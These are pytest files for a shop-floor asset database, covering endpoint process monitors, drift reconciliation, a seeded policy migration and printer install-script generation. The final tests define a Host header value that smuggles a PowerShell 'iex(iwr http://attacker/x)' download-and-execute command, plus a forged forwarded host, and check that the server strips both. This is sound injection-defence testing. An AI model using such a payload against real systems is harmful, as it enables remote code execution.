_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
response = client.get(RESOLVED_URL, query_string={'hostname': 'AGENTPC3'},
headers=_collector_headers(app))
assert response.status_code == 200
data = response.get_json()['data']
edge = next((p for p in data['processes'] if p['name'] == 'msedge.exe'), None)
assert edge is not None
assert edge['launchpath'] == \
r'C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe'
def test_resolved_monitors_requires_collector_auth(client, db, app):
"""Without the collector key the agent route refuses (no JWT fallback)."""
_computer(db, 'AGENTPC2', 'CMM PC')
app.config['COLLECTOR_API_KEY'] = COLLECTOR_KEY
response = client.get(RESOLVED_URL, query_string={'hostname': 'AGENTPC2'})
assert response.status_code in (401, 403)
def test_resolved_monitors_unknown_hostname_is_404(client, db, app):
"""A hostname with no computer row is a 404, not an empty 200."""
response = client.get(RESOLVED_URL, query_string={'hostname': 'NOSUCHBOX'},
headers=_collector_headers(app))
assert response.status_code == 404
# --- shipped rows are product-owned IDENTITY, not a fixed opinion about disks --
#
# The shipped bundle used to be uneditable in every field and attached to a
# hardcoded PC-type name. A plant whose eDNC sits on another drive, or whose
# type is called something else, could neither correct it nor turn it off, and
# then carried permanent false drift for it. ADR-015 allows seed data because a
# site can edit it afterwards.
def _shipped(db, displayname='eDNC', **kwargs):
from plugins.endpoints.models import EndpointMonitor
monitor = EndpointMonitor(
kind=kwargs.pop('kind', 'process'),
displayname=displayname,
processname=kwargs.pop('processname', 'DncMain'),
launchpath=kwargs.pop('launchpath', r'C:\Program Files\Dnc\bin\DncMain.exe'),
source='shipped', isactive=True, **kwargs)
db.session.add(monitor)
db.session.flush()
return monitor
def test_a_site_can_correct_a_shipped_monitors_launch_path(
client, db, auth_headers):
monitor = _shipped(db)
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'launchpath': r'D:\Dnc\bin\DncMain.exe'}, headers=auth_headers)
assert response.status_code == 200
assert response.get_json()['data']['launchpath'] == r'D:\Dnc\bin\DncMain.exe'
def test_a_site_can_switch_off_a_shipped_monitor_it_does_not_run(
client, db, auth_headers):
monitor = _shipped(db, displayname='Universal Data Collector',
processname='UDC')
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'isactive': False}, headers=auth_headers)
assert response.status_code == 200
assert response.get_json()['data']['isactive'] is False
def test_a_shipped_monitor_keeps_the_identity_the_policy_matches_on(
client, db, auth_headers):
"""0007 attaches its bundle by (kind, displayname), so those stay put."""
monitor = _shipped(db)
response = client.put(
'/api/endpoints/monitors/%d' % monitor.endpointmonitorid,
json={'displayname': 'Renamed'}, headers=auth_headers)
assert response.status_code == 403
assert monitor.displayname == 'eDNC'
# --- which PC type the shipped bundle attaches to is a setting ---------------
def test_shipped_monitors_follow_the_configured_pctype(client, db, app):
from plugins.endpoints.api.monitors import (
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
_shipped(db)
Setting.set(SHIPPED_PCTYPE_SETTING, 'Shop Floor Workstation')
db.session.commit()
# The plant's own name for the type resolves the bundle...
assert [m.displayname for m in
_resolve_pctype_monitors('Shop Floor Workstation')] == ['eDNC']
# ...and the name this shipped with no longer does.
assert _resolve_pctype_monitors('Shopfloor PC') == []
def test_a_blank_shipped_pctype_attaches_the_bundle_to_nothing(client, db, app):
"""The neutral behaviour for a site that does not want the bundle: off,
rather than silently attached to whatever happens to match."""
from plugins.endpoints.api.monitors import (
SHIPPED_PCTYPE_SETTING, _resolve_pctype_monitors)
_shipped(db)
Setting.set(SHIPPED_PCTYPE_SETTING, '')
db.session.commit()
assert _resolve_pctype_monitors('Shopfloor PC') == []

View File

@@ -0,0 +1,238 @@
"""Warn-only reconciler: drift computation and its exposure on the panels.
The reconciler runs server-side on agent check-in. For every monitor a site
policy attaches to an endpoint's PC type that is EXPECTED to be running, it flags
DRIFT when the latest snapshot does not report it running. It never starts or
stops anything - drift is surfaced for an operator to act on manually.
These tests cover the pure computer (compute_drift), the check-in write path
(apply_collector_payload persisting driftjson), the panel exposure, and the
observe-only seam (monitor_expects_running) that keeps a non-keepalive monitor
out of the drift list.
"""
from shopdb.core.models import Asset, AssetType, Setting
SERVICES_URL = '/api/endpoints/asset/{}/services'
STATUS_URL = '/api/endpoints/asset/{}/status'
def _computer(db, hostname, computertype):
"""Create a computer Asset + Computer of the given PC type; return the pair."""
from plugins.computers.models import Computer, ComputerType
atype = AssetType.query.filter_by(assettype='computer').first()
if not atype:
atype = AssetType(assettype='computer')
db.session.add(atype)
db.session.flush()
ctype = ComputerType.query.filter_by(computertype=computertype).first()
if not ctype:
ctype = ComputerType(computertype=computertype)
db.session.add(ctype)
db.session.flush()
asset = Asset(assetnumber=hostname, assettypeid=atype.assettypeid,
isactive=True)
db.session.add(asset)
db.session.flush()
comp = Computer(assetid=asset.assetid, hostname=hostname,
computertypeid=ctype.computertypeid)
db.session.add(comp)
db.session.flush()
return asset, ctype
def _attach_monitor_to_pctype(db, monitor, computertypeid):
"""Attach a monitor to a PC type via an active Business/Configuration Policy."""
from plugins.computers.models import (
ConfigurationPolicy, ConfigurationPolicyAction,
BusinessPolicy, BusinessPolicyItem,
)
if not Setting.query.filter_by(
key='computers_configpolicies_enabled').first():
db.session.add(
Setting(key='computers_configpolicies_enabled', value='true'))
policy = ConfigurationPolicy(
name='Coverage {}'.format(monitor.endpointmonitorid),
scopejson={'type': 'pctype', 'id': computertypeid},
)
db.session.add(policy)
db.session.flush()
db.session.add(ConfigurationPolicyAction(
configurationpolicyid=policy.configurationpolicyid,
action='monitor:{}'.format(monitor.endpointmonitorid),
mode='gate',
))
business = BusinessPolicy(name='BP {}'.format(monitor.endpointmonitorid),
priority=100)
db.session.add(business)
db.session.flush()
db.session.add(BusinessPolicyItem(
businesspolicyid=business.businesspolicyid,
configurationpolicyid=policy.configurationpolicyid,
sortorder=0,
))
db.session.commit()
def _process_monitor(db, displayname, processname):
from plugins.endpoints.models import EndpointMonitor
monitor = EndpointMonitor(
kind='process', displayname=displayname, processname=processname,
source='local', isactive=True,
)
db.session.add(monitor)
db.session.flush()
return monitor
# ---------------------------------------------------------------------------
# Pure computer
# ---------------------------------------------------------------------------
def test_compute_drift_flags_attached_monitor_not_reported_running(
client, db, app):
"""An expected-running monitor absent from the snapshot is drift."""
from plugins.endpoints.services.reconciler import compute_drift
asset, ctype = _computer(db, 'DRIFT01', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
drift = compute_drift(asset.assetid, [])
assert len(drift) == 1
assert drift[0]['name'] == 'dncMain.exe'
assert drift[0]['kind'] == 'process'
assert drift[0]['expected'] == 'running'
assert drift[0]['observed'] == 'notrunning'
def test_compute_drift_empty_when_monitor_reported_running(client, db, app):
"""A monitor the snapshot reports running is not drift."""
from plugins.endpoints.services.reconciler import compute_drift
asset, ctype = _computer(db, 'DRIFT02', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
reported = [{'name': 'dncMain.exe', 'kind': 'process', 'state': 'running'}]
assert compute_drift(asset.assetid, reported) == []
def test_compute_drift_empty_when_no_monitor_attached(client, db, app):
"""No attached monitors means nothing to reconcile."""
from plugins.endpoints.services.reconciler import compute_drift
asset, _ = _computer(db, 'DRIFT03', 'CMM PC')
assert compute_drift(asset.assetid, []) == []
def test_monitor_expects_running_is_the_observe_only_seam():
"""The 'should be up' decision lives in one function; inactive is excluded."""
from plugins.endpoints.services.reconciler import monitor_expects_running
class _M:
isactive = True
active = _M()
inactive = _M()
inactive.isactive = False
assert monitor_expects_running(active) is True
assert monitor_expects_running(inactive) is False
# ---------------------------------------------------------------------------
# Check-in write path
# ---------------------------------------------------------------------------
def test_checkin_persists_drift_on_endpoint_state(client, db, app):
"""apply_collector_payload caches drift on the state in the same commit."""
from plugins.endpoints.plugin import EndpointsPlugin
from plugins.endpoints.models import EndpointState
asset, ctype = _computer(db, 'CHKIN01', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
plugin = EndpointsPlugin()
plugin.apply_collector_payload({'hostname': 'CHKIN01', 'services': []})
db.session.commit()
state = EndpointState.query.filter_by(assetid=asset.assetid).first()
assert state.driftjson is not None
import json
drift = json.loads(state.driftjson)
assert [d['name'] for d in drift] == ['dncMain.exe']
def test_checkin_clears_drift_when_process_returns(client, db, app):
"""A later report that shows the process running clears the cached drift."""
from plugins.endpoints.plugin import EndpointsPlugin
from plugins.endpoints.models import EndpointState
import json
asset, ctype = _computer(db, 'CHKIN02', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
plugin = EndpointsPlugin()
plugin.apply_collector_payload({'hostname': 'CHKIN02', 'services': []})
db.session.commit()
plugin.apply_collector_payload({
'hostname': 'CHKIN02',
'services': [{'name': 'dncMain.exe', 'kind': 'process',
'state': 'running'}],
})
db.session.commit()
state = EndpointState.query.filter_by(assetid=asset.assetid).first()
assert json.loads(state.driftjson) == []
# ---------------------------------------------------------------------------
# Panel exposure
# ---------------------------------------------------------------------------
def test_status_panel_surfaces_drift_warning(client, db, app, auth_headers):
"""The status panel adds a Needs attention field when drift is cached."""
from plugins.endpoints.plugin import EndpointsPlugin
asset, ctype = _computer(db, 'PANEL01', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
plugin = EndpointsPlugin()
plugin.apply_collector_payload({'hostname': 'PANEL01', 'services': []})
db.session.commit()
response = client.get(STATUS_URL.format(asset.assetid), headers=auth_headers)
assert response.status_code == 200
labels = [f['label'] for f in response.get_json()['data']['fields']]
assert 'Needs attention' in labels
def test_services_panel_marks_drifted_row(client, db, app, auth_headers):
"""The synthetic Unknown row for an expected-running monitor is drift-flagged."""
from plugins.endpoints.plugin import EndpointsPlugin
asset, ctype = _computer(db, 'PANEL02', 'CMM PC')
monitor = _process_monitor(db, 'eDNC', 'dncMain.exe')
_attach_monitor_to_pctype(db, monitor, ctype.computertypeid)
plugin = EndpointsPlugin()
plugin.apply_collector_payload({'hostname': 'PANEL02', 'services': []})
db.session.commit()
response = client.get(SERVICES_URL.format(asset.assetid), headers=auth_headers)
assert response.status_code == 200
rows = response.get_json()['data']
edenc = next((r for r in rows if r['name'] == 'eDNC'), None)
assert edenc is not None
assert edenc.get('drift') is True

View File

@@ -0,0 +1,141 @@
"""The shipped shopfloor app monitors ride a read-only Site Policy.
Migration endpoints0007shippedpolicy offloads the eDNC/UDC/MTConnect monitors
from the agent's hardcoded appsettings.json into a product-owned policy bundle:
a shipped ConfigurationPolicy "Shopfloor App Monitors" (global scope, one
desired-state monitor action per shipped monitor) wrapped in a shipped
BusinessPolicy "Shopfloor App Monitors".
Run the endpoints chain against a fresh engine, alongside the computers policy
tables the bundle writes into, and assert the bundle exists, is source='shipped'
(read-only), and attaches every shipped monitor as a desired/running:true action.
"""
import importlib.util
import json
from pathlib import Path
from sqlalchemy import create_engine, inspect, text
from alembic.migration import MigrationContext
from alembic.operations import Operations
_ROOT = Path(__file__).resolve().parent.parent.parent
_ENDPOINTS_VERSIONS = _ROOT / 'plugins' / 'endpoints' / 'migrations' / 'versions'
_COMPUTERS_VERSIONS = _ROOT / 'plugins' / 'computers' / 'migrations' / 'versions'
CONFIG_POLICY_NAME = 'Shopfloor App Monitors'
BUSINESS_POLICY_NAME = 'Shopfloor App Monitors'
def _load(path, prefix):
spec = importlib.util.spec_from_file_location(prefix + path.stem, str(path))
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
return module
def _run_bundle_migrations(connection):
"""Build the policy tables (computers 0004), the monitor catalog (endpoints
0006) and the shipped bundle (endpoints 0007) on one engine, in order.
The core baseline creates every plugin's tables before per-plugin chains run,
so on a real deploy the computers policy tables already exist when endpoints
0007 runs. Here we stand up exactly the three migrations the bundle depends
on - the earlier endpoints revisions carry FKs to core tables that a bare
engine does not have, and are irrelevant to what 0007 seeds.
"""
operations = Operations(MigrationContext.configure(connection))
operations._install_proxy()
try:
_load(_COMPUTERS_VERSIONS / '0004_policies.py',
'computers_mig_').upgrade()
_load(_ENDPOINTS_VERSIONS / '0006_endpoint_monitors.py',
'endpoints_mig_0006_').upgrade()
_load(_ENDPOINTS_VERSIONS / '0007_shipped_monitor_policy.py',
'endpoints_mig_0007_').upgrade()
finally:
operations._remove_proxy()
connection.commit()
def test_shipped_bundle_seeds_read_only_site_policy():
engine = create_engine('sqlite://')
with engine.connect() as connection:
_run_bundle_migrations(connection)
config = connection.execute(text(
'SELECT configurationpolicyid, source, scopejson '
'FROM configurationpolicies WHERE name = :name'),
{'name': CONFIG_POLICY_NAME}).first()
assert config is not None, 'shipped Configuration Policy was not seeded'
config_id, config_source, scopejson = config
assert config_source == 'shipped'
assert json.loads(scopejson) == {'type': 'true'}
business = connection.execute(text(
'SELECT businesspolicyid, source FROM businesspolicies '
'WHERE name = :name'), {'name': BUSINESS_POLICY_NAME}).first()
assert business is not None, 'shipped Business Policy was not seeded'
business_id, business_source = business
assert business_source == 'shipped'
item = connection.execute(text(
'SELECT configurationpolicyid FROM businesspolicyitems '
'WHERE businesspolicyid = :id'), {'id': business_id}).first()
assert item is not None and item[0] == config_id
def test_shipped_bundle_attaches_every_shipped_monitor():
engine = create_engine('sqlite://')
with engine.connect() as connection:
_run_bundle_migrations(connection)
monitor_ids = {row[0] for row in connection.execute(text(
'SELECT endpointmonitorid FROM endpointmonitors '
"WHERE source = 'shipped'"))}
assert monitor_ids, 'no shipped monitors to attach'
config_id = connection.execute(text(
'SELECT configurationpolicyid FROM configurationpolicies '
'WHERE name = :name'), {'name': CONFIG_POLICY_NAME}).scalar()
actions = connection.execute(text(
'SELECT action, mode, desiredstate FROM configurationpolicyactions '
'WHERE configurationpolicyid = :id'), {'id': config_id}).all()
attached_ids = set()
for action, mode, desiredstate in actions:
assert action.startswith('monitor:')
# Gate, not desired: the shipped bundle reports state and exposes
# Start/Stop in the UI, but never auto-starts a process. A desired
# running state is a deliberate per-monitor opt-in, not shipped.
assert mode == 'gate'
assert desiredstate is None
attached_ids.add(int(action[len('monitor:'):]))
assert attached_ids == monitor_ids
def test_shipped_bundle_is_idempotent():
engine = create_engine('sqlite://')
with engine.connect() as connection:
_run_bundle_migrations(connection)
# Re-run only the shipped-bundle migration; it must not duplicate rows.
operations = Operations(MigrationContext.configure(connection))
operations._install_proxy()
try:
_load(_ENDPOINTS_VERSIONS / '0007_shipped_monitor_policy.py',
'endpoints_mig_rerun_').upgrade()
finally:
operations._remove_proxy()
connection.commit()
config_count = connection.execute(text(
'SELECT COUNT(*) FROM configurationpolicies WHERE name = :name'),
{'name': CONFIG_POLICY_NAME}).scalar()
business_count = connection.execute(text(
'SELECT COUNT(*) FROM businesspolicies WHERE name = :name'),
{'name': BUSINESS_POLICY_NAME}).scalar()
assert config_count == 1
assert business_count == 1

View File

@@ -102,3 +102,62 @@ def test_install_batch_resolves_vendor_via_model(
def test_install_batch_requires_ids(client, db, auth_headers, printer_assettype):
resp = client.get('/api/printers/install-batch', headers=auth_headers)
assert resp.status_code == 400
# --- the generated script is a script: what reaches it must be a hostname -----
#
# _batch_base_url() interpolates a request-supplied host into the single-quoted
# PowerShell -Uri literal of the .bat this route hands out, and site_base_url
# ships blank, so that fallback is the DEFAULT path rather than an edge case.
# A quote in the host would end the literal. These pin the three rules that stop
# it: validate the Host, only believe X-Forwarded-Host behind a declared proxy,
# and emit a relative base rather than a host we cannot vouch for.
INJECT = "evil';iex(iwr http://attacker/x);'"
def test_install_batch_refuses_a_host_that_is_not_a_hostname(
client, db, auth_headers, printer_assettype):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers, 'Host': INJECT})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'iex' not in bat
assert 'attacker' not in bat
# No host survived, so the download URL is relative rather than poisoned.
assert "-Uri '/installers/PrinterInstaller.exe'" in bat
def test_install_batch_ignores_forwarded_host_with_no_declared_proxy(
client, db, auth_headers, printer_assettype):
"""TRUSTED_PROXY_COUNT defaults to 0, so the header is caller-supplied and
must not be believed - the same rule clientip.py applies to
X-Forwarded-For."""
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'attacker.example'})
assert resp.status_code == 200
bat = resp.get_data(as_text=True)
assert 'attacker.example' not in bat
def test_install_batch_uses_a_real_forwarded_host_behind_a_declared_proxy(
client, db, auth_headers, printer_assettype, app):
hp = _vendor(db, 'HP')
pid = _make_printer(client, auth_headers, assetnumber='CSF04-WJRP2035-HP',
hostname='wjprn01', vendorid=hp.vendorid)
app.config['TRUSTED_PROXY_COUNT'] = 1
try:
resp = client.get('/api/printers/install-batch?printerids=%d' % pid,
headers={**auth_headers,
'X-Forwarded-Host': 'shopdb.example.net'})
bat = resp.get_data(as_text=True)
assert 'https://shopdb.example.net/installers/' in bat
finally:
app.config['TRUSTED_PROXY_COUNT'] = 0